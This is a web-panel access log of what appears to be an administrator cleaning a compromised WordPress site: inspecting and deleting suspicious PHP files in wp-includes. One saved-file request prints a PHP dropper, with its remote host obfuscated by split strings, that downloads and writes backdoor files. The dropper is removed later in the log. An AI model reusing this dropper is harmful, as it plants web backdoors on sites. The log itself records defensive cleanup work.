["2026-03-10 09:45:30", "58.209.19.68:2773", "GET", "/soft/static/js/ace.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 37, 200, 90859, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:33", "58.209.19.68:2773", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20', 'search': ''}", 6, 200, 605, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:33", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 6, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:33", "58.209.19.68:2773", "GET", "/soft/static/font/octicons.woff2?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 17492, "application/octet-stream", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:33", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/getfeed.php'}", 2, 200, 379, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:33", "58.209.19.68:2627", "GET", "/soft/static/font/file-icons.woff2?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 1, 200, 160072, "application/octet-stream", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:34", "58.209.19.68:2752", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/getfeed.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:42", "58.209.19.68:2627", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20', 'search': ''}", 5, 200, 605, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:42", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 2, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:42", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/getfeed.php'}", 3, 200, 379, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:42", "58.209.19.68:2752", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/getfeed.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:43", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php'}", 3, 200, 1075, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:43", "58.209.19.68:2752", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'Ctx.php', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:45", "58.209.19.68:2627", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'IetfCtx.php', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php'}", 4, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:45", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php'}", 4, 200, 952, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:52", "58.209.19.68:2752", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php', 'data': \"<?php\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\nif (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx', false)) {\\n    return;\\n}\\n\\n/**\\n * Class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx\\n */\\nclass ParagonIE_Sodium_Core32_ChaCha20_IetfCtx extends ParagonIE_Sodium_Core32_ChaCha20_Ctx\\n{\\n    /**\\n     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.\\n     *\\n     * @internal You should not use this directly from another application\\n     *\\n     * @param string $key     ChaCha20 key.\\n     * @param string $iv      Initialization Vector (a.k.a. nonce).\\n     * @param string $counter The initial counter value.\\n     *                        Defaults to 4 0x00 bytes.\\n     * @throws InvalidArgumentException\\n     * @throws SodiumException\\n     * @throws TypeError\\n     */\\n    public function __construct($key = '', $iv = '', $counter = '')\\n    {\\n        if (self::strlen($iv) !== 12) {\\n            throw new InvalidArgumentException('ChaCha20 expects a 96-bit nonce in IETF mode.');\\n        }\\n        parent::__construct($key, self::substr($iv, 0, 8), $counter);\\n\\n        if (!empty($counter)) {\\n            $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4));\\n        }\\n        $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));\\n        $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));\\n        $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 8, 4));\\n    }\\n}\\n\", 'encoding': 'utf-8', 'st_mtime': '1553115412', 'force': '0'}", 10, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:53", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php'}", 3, 200, 615, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:45:56", "58.209.19.68:2752", "POST", "/files?action=DeleteFile", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/ChaCha20/getfeed.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:08", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-includes', 'search': 'styles.php', 'all': 'True'}", 22, 200, 579, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:13", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 3, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:13", "58.209.19.68:2752", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52', 'search': ''}", 5, 200, 583, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:13", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/styles.php'}", 3, 200, 392, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:14", "58.209.19.68:2752", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/styles.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:17", "58.209.19.68:2627", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/SplFixedArray.php'}", 3, 200, 1235, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:17", "58.209.19.68:2752", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'SplFixedArray.php', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/SplFixedArray.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:18", "58.209.19.68:2614", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'index.php', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/index.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:18", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/index.php'}", 2, 200, 245, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:28", "58.209.19.68:2752", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/index.php', 'data': \"<?php\\r\\n// if(isset($_GET['wp3c2b1a'])){var_dump(file_put_contents('about.php',file_get_contents('ht'.'tps://5'.'1la.zv'.'o2.x'.'yz/a1.t'.'xt'.$_GET['wp3c2b1a'])));var_dump(file_put_contents('radio.php',file_get_contents('ht'.'tps://5'.'1la.zv'.'o2.x'.'yz/a6.t'.'xt'.$_GET['wp3c2b1a'])));var_dump(file_put_contents('admin.php',file_get_contents('ht'.'tps://5'.'1la.zv'.'o2.x'.'yz/a8.t'.'xt'.$_GET['wp3c2b1a'])));}\\r\\n\", 'encoding': 'utf-8', 'st_mtime': '1761022840', 'force': '0'}", 9, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:28", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/index.php'}", 3, 200, 246, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:39", "58.209.19.68:2752", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/index.php', 'data': '<?php\\r\\n', 'encoding': 'utf-8', 'st_mtime': '1773107188', 'force': '0'}", 9, 200, 126, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:39", "58.209.19.68:2752", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/index.php'}", 3, 200, 174, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:43", "58.209.19.68:2752", "POST", "/files?action=DeleteFile", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/PHP52/styles.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:44", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 3, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:44", "58.209.19.68:2752", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/dewenlabels.com/wp-includes', 'search': ''}", 15, 200, 5145, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:45", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/functions.wp-styles.php'}", 3, 200, 2292, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:46:45", "58.209.19.68:2614", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/functions.wp-styles.php'}", 5, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:04", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-includes', 'search': 'global.php', 'all': 'True'}", 22, 200, 505, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:06", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 3, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:06", "58.209.19.68:2752", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/SimplePie/library/SimplePie/HTTP', 'search': ''}", 5, 200, 551, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:06", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/SimplePie/library/SimplePie/HTTP/global.php'}", 3, 200, 377, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:06", "58.209.19.68:2614", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/SimplePie/library/SimplePie/HTTP/global.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:09", "58.209.19.68:2752", "POST", "/files?action=DeleteFile", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/SimplePie/library/SimplePie/HTTP/global.php'}", 17, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:22", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-includes', 'search': 'class.upload.php', 'all': 'True'}", 40, 200, 516, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:28", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 3, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:28", "58.209.19.68:2752", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/SecretStream', 'search': ''}", 5, 200, 559, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:28", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/SecretStream/class.upload.php'}", 3, 200, 396, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:29", "58.209.19.68:2614", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/SecretStream/class.upload.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:33", "58.209.19.68:2752", "POST", "/files?action=DeleteFile", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/SecretStream/class.upload.php'}", 14, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:34", "58.209.19.68:2752", "GET", "/favicon.ico?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{}", 3, 200, 4286, "image/vnd.microsoft.icon", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:44", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com/wp-includes', 'search': 'mlrpc.php', 'all': 'True'}", 20, 200, 407, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:47", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 6, 200, 1034, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:49", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com', 'search': 'mlrpc.php'}", 5, 200, 426, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:47:53", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com', 'search': 'mlrpc.php', 'all': 'True'}", 234, 200, 513, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:48:02", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 3, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:48:02", "58.209.19.68:2752", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/wordpress-seo/src/integrations', 'search': ''}", 6, 200, 862, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:48:02", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/wordpress-seo/src/integrations/xmlrpc.php'}", 3, 200, 692, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:48:03", "58.209.19.68:2614", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/wordpress-seo/src/integrations/xmlrpc.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:48:06", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 6, 200, 1034, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:48:33", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com', 'search': 'xmlrpc'}", 5, 200, 428, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:48:37", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com', 'search': 'xmlrpc', 'all': 'True'}", 229, 200, 722, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:03", "58.209.19.68:2752", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com', 'search': 'cache_ipbanned.php', 'all': 'True'}", 228, 200, 514, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:05", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 3, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:05", "58.209.19.68:2752", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/Curve25519', 'search': ''}", 6, 200, 949, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-03-10 09:49:05", "58.209.19.68:2614", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/Curve25519/cache_ipbanned.php'}", 3, 200, 383, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
